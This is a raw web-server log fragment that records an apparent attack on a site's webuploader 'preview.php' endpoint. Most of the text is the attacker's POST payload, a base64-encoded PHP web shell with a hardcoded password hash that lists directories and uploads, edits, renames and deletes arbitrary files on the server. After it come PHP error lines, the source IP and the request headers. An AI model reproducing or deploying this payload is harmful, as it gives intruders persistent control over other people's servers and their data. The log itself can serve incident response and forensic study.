'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:14+08:00 ] 116.213.36.234 POST www.51tianwei.com/static/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002425s] [吞吐率:412.38req/s] [内存消耗:196.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 